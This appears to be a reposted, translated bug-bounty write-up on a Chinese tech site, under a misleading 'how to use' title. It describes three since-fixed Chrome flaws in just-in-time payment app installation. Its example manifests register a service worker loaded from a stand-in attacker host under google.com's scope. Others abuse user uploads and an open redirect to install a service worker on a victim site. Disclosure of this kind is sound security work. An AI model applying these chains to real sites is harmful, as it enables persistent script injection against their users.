溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊(cè)×
其他方式登錄
點(diǎn)擊 登錄注冊(cè) 即表示同意《億速云用戶服務(wù)條款》

如何在Chrome中使用即時(shí)支付功能

發(fā)布時(shí)間:2021-12-22 17:05:43 來(lái)源:億速云 閱讀:134 作者:柒染 欄目:網(wǎng)絡(luò)管理

這篇文章將為大家詳細(xì)講解有關(guān)如何在Chrome中使用即時(shí)支付功能,文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對(duì)相關(guān)知識(shí)有一定的了解。

當(dāng)時(shí)我在研究Chrome支付處理API(PaymentHandler API)的時(shí)候,我發(fā)現(xiàn)了下面這句話:Chrome還支持一個(gè)非標(biāo)準(zhǔn)功能,我們將其命名為’及時(shí)安裝功能’(JIT)。

非常好,這名字一聽(tīng)起來(lái)就感覺(jué)像存在bug的。所以我趕緊對(duì)這個(gè)功能的工作機(jī)制進(jìn)行了研究【參考資料】。首先,支付處理API允許支付服務(wù)提供商處理發(fā)送給他們的支付請(qǐng)求,那支付App的JIT安裝功能又是什么呢?具體我就不解釋了,請(qǐng)大家接著往下看。

當(dāng)客戶端使用服務(wù)器不支持的方法來(lái)調(diào)用支付請(qǐng)求的時(shí)候,也就是下面這樣:

new PaymentRequest([{ supportedMethods: 'https://example.com/pay/' }], { ... });

Chrome將會(huì)從服務(wù)器支持的方法中獲取一個(gè)特定的URL地址,用于獲取地址的頁(yè)面需要以包含下列響應(yīng)Header(指向Payment MethodManifest)的響應(yīng)信息來(lái)響應(yīng)客戶端的請(qǐng)求:

Link:<https://example.com/pay/payment-manifest.json>;rel="payment-method-manifest"

接下來(lái),Chrome將會(huì)獲取之前所定義的Payment Method Manifest,文件的大致內(nèi)容如下所示:

{"default_applications": ["https://example.com/pay/web-app-manifest.json"],"supported_origins": ["https://example.com"] }

然后,Chrome將會(huì)獲取之前所定義的Web App Manifest,該文件的內(nèi)容大致如下:

{
  "name": "Pay withExample",
  ....
  "serviceworker": {
    "src":"service-worker.js",
    "scope":"https://example.com/pay/"
  },
  ...
}

Chrome將會(huì)用一個(gè)指向“src”和“scope”值的JavaScript文件來(lái)注冊(cè)Service Worker,這里是JIT安裝過(guò)程中用戶可以點(diǎn)擊“支付”按鈕的一種情況:

如何在Chrome中使用即時(shí)支付功能

幸運(yùn)的是,頁(yè)面內(nèi)的“支付”按鈕默認(rèn)設(shè)置為聚焦的,所以我們就可以想辦法讓目標(biāo)用戶按住回車鍵3秒鐘,這樣我們就可以觸發(fā)JIT安裝功能了。你注意到上圖中有些什么奇怪的地方了嗎?沒(méi)錯(cuò),支付App的源似乎來(lái)自www.google.com。為什么呢?原來(lái)我們可以用Service Worker腳本來(lái)指定Web App Manifest中“scope”參數(shù)的值,也就是可以設(shè)置任意值:

{
  "name": "Pay toAttacker",
  ....
  "serviceworker": {
    "src": "https://attacker.tld/service-worker.js",
    "scope":"https://www.google.com/"
  },
  ...
}

盡管如此,這里還是存在一些問(wèn)題,因?yàn)镾ervice Worker仍然會(huì)存有攻擊者網(wǎng)站的源地址,即使攻擊者注冊(cè)的是Google服務(wù)范圍內(nèi)的地址。我這里沒(méi)辦法攔截導(dǎo)航/支付請(qǐng)求,但是我可以使用Console API這樣的API來(lái)進(jìn)行數(shù)據(jù)分析,而當(dāng)用戶訪問(wèn)了google.com的控制臺(tái)之后,Console API可以記錄用戶的任意數(shù)據(jù)。

這個(gè)漏洞跟UXSS非常相似,但是我沒(méi)辦法成功利用,因?yàn)槲也粦?yīng)該使用Data URL腳本。當(dāng)時(shí)我將該漏洞上報(bào)給Google之后,他們?cè)趦商靸?nèi)修復(fù)了該漏洞(Chrome 68禁用了JIT安裝功能),并提供了5000美金的漏洞獎(jiǎng)勵(lì)。

這個(gè)過(guò)程中我還注意到了另一個(gè)問(wèn)題,其實(shí)我們根本不需要在目標(biāo)站點(diǎn)內(nèi)執(zhí)行腳本來(lái)觸發(fā)JIT安裝功能。也就是說(shuō),假設(shè)攻擊者的站點(diǎn)中托管了如下所示的腳本內(nèi)容:

new PaymentRequest([{ supportedMethods: 'https://attacker.tld/' }], { ... });

Chrome將會(huì)獲取服務(wù)器不支持的方法,響應(yīng)信息的響應(yīng)Header如下:

Link:<https://attacker.tld/payment-manifest.json>;rel="payment-method-manifest"

接下來(lái),Chrome將會(huì)以下列方式獲取Payment Method Manifest:

{"default_applications":["https://victim.tld/user-upload/web-app-manifest.json"],"supported_origins": "*" }

現(xiàn)在,Chrome會(huì)從目標(biāo)站點(diǎn)獲取Web App Manifest,這個(gè)Web App Manifest能夠以任意Content-Type或Content-Disposition進(jìn)行響應(yīng)。有的人可能會(huì)想,“是不是可以用Cross-originNo-CORS來(lái)請(qǐng)求一個(gè)JSON文件呢?CORB會(huì)不會(huì)禁用這種請(qǐng)求方式呢?”沒(méi)錯(cuò),這種請(qǐng)求響應(yīng)的確會(huì)被屏蔽,

盡管如此,Chrome仍會(huì)繼續(xù)獲取上述的Web App Manifest內(nèi)容:

{
  "name": "Pay toAttacker",
  ....
  "serviceworker": {
    "src":"https://victim.tld/user-upload/service-worker.js",
    "scope":"https://victim.tld/user-upload/"
  },
  ...
}

Service Worker腳本的Content-Type必須為JavaScript,但如果使用Content-Disposition的話就無(wú)所謂了。

總的來(lái)說(shuō),如果你能夠向目標(biāo)站點(diǎn)上傳文件的話,你就可以在不需要執(zhí)行任何腳本的情況下安裝Service Worker了(持久型XSS)。這很明顯又是一個(gè)漏洞,上報(bào)之后我又拿到了3000美金…

所以,第一個(gè)漏洞通過(guò)檢測(cè)Web App Manifest、Service Worker腳本和Scope URL是否同源來(lái)成功修復(fù),第二個(gè)漏洞通過(guò)檢測(cè)Payment Method Manifest和支付App是否在同一網(wǎng)站來(lái)成功修復(fù)。那么接下來(lái),我們繼續(xù)嘗試Hack!

攻擊者的網(wǎng)站調(diào)用下列方法:

new PaymentRequest([{ supportedMethods:'https://redirect.victim.tld/open-redirect?url=//attacker.tld/' }], { ... });

Chrome獲取不支持的方法兵重定向至攻擊者的網(wǎng)站,響應(yīng)信息的響應(yīng)Header如下:

Link:<https://victim.tld/user-upload/payment-manifest.json>;rel="payment-method-manifest"

接下來(lái)還是跟之前一樣,我們只需要向目標(biāo)站點(diǎn)上傳文件(Payment Method Manifest),如果目標(biāo)站點(diǎn)開(kāi)啟了開(kāi)放重定向功能的話,這樣就能夠繞過(guò)所有的安全檢測(cè),因?yàn)槟繕?biāo)站點(diǎn)中的Service Worker并不需要執(zhí)行任何腳本。

當(dāng)然了,這個(gè)漏洞在兩天之后已經(jīng)修復(fù)了,然后我又拿到了3133.7美金(7毛是什么鬼?)。

最后,完整的JIT支付App在Chrome 69中正式上線。

關(guān)于如何在Chrome中使用即時(shí)支付功能就分享到這里了,希望以上內(nèi)容可以對(duì)大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺(jué)得文章不錯(cuò),可以把它分享出去讓更多的人看到。

向AI問(wèn)一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場(chǎng),如果涉及侵權(quán)請(qǐng)聯(lián)系站長(zhǎng)郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI